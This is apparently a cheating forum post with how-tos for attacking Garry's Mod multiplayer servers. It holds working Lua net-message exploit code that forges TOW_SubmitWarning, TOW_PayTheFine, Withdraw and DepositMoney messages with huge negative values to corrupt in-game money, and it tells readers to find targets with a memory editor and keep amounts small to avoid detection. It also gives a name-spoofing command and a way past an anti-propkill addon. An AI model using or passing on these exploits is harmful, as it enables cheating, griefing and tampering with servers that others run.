How to: Net Library Exploit

Hi hello im so cool here are my new exploits guiz!

Alright so since some new bloods don't know how to find a exploit I decided to post this.
We are exploiting the addon: Tow Truck (man guy thing idk)
So basically this "cool" addon let's you tow cars that are illegally parked or broken down whatever etc etc..
but the cool part is, is that it pays you to do so.
Usually you go on *********s and try to find the serverside or clientside for it, or if your luckily it'll be in the clientside portion when you file steal.
so basically I will break down what happens in this exploit.
Code:

Code:

for k,v in pairs(player.GetAll()) do -- grabs everyone's name n stuff on the server
net.Start("TOW_SubmitWarning") -- the net message's name
net.WriteString(LocalPlayer():SteamID()) -- getting your steamid
net.WriteDouble(-1000000000000000000000000000000000000) -- writing to your money
net.WriteEntity(v) -- writing to a random player
net.SendToServer() -- sending the info to the server
net.Start("TOW_PayTheFine") -- sending the real thing
net.WriteEntity(v) -- giving the shit to the random player
net.SendToServer() -- sending the info again.
end -- ending the code.

Remember: http://wiki.garrysmod.com/page/Net_Library_Usage
Also, net.WriteDouble can also be different and be called "net.WriteFloat" it varies from addon to addon.
Last thing:
Code:
WOWOWOWOWOWOW EVERY NET LIBRARY CODE EVER!!??

Code:

net.Broadcast
net.BytesWritten
net.Incoming
net.ReadAngle
net.ReadBit
net.ReadBool
net.ReadColor
net.ReadData
net.ReadDouble
net.ReadEntity
net.ReadFloat
net.ReadHeader
net.ReadInt
net.ReadNormal
net.ReadString
net.ReadTable
net.ReadType
net.ReadUInt
net.ReadVector
net.Receive
net.Send
net.SendOmit
net.SendPAS
net.SendPVS
net.SendToServer
net.Start
net.WriteAngle
net.WriteBit
net.WriteBool
net.WriteColor
net.WriteData
net.WriteDouble
net.WriteEntity
net.WriteFloat
net.WriteInt
net.WriteNormal
net.WriteString
net.WriteTable
net.WriteType
net.WriteUInt
net.WriteVector

Code:

net.Start("Withdraw")
net.WriteFloat(-100000000000000000000)
net.SendToServer()

Code:

net.Start("DepositMoney") // You can use a memory editor to find a string to exploit, you can search for different terms such as "Deposit" "Buycar" etc
net.WriteFloat(-1000000) // The amount, if you make it too big it will be obvious that you hacked.
net.SendToServer() // Sends to server
//You can use it on any server as long as you can find a string to exploit

Use setinfo name to change you name

Code:

setinfo name hello

How to: Bypass Popular Anti-Propkill Addon

Alright so one day I was screwing around on a server and it came in my head.
"Could I trap people with props on this server?"
So most people know that if you use no-collide and right click it will make a object fully nocollidable. However, if you were to right click twice you would have reversed the effect and made it collidable again. So I found out that for a 95% used anti-propkill addon that if you put the prop in yourself, right click with the nocollide tool twice and pull it out. It would be fully collidable and you could proppush, propsurf and potentially by smashing it or (if the prop was big enough), Propkill.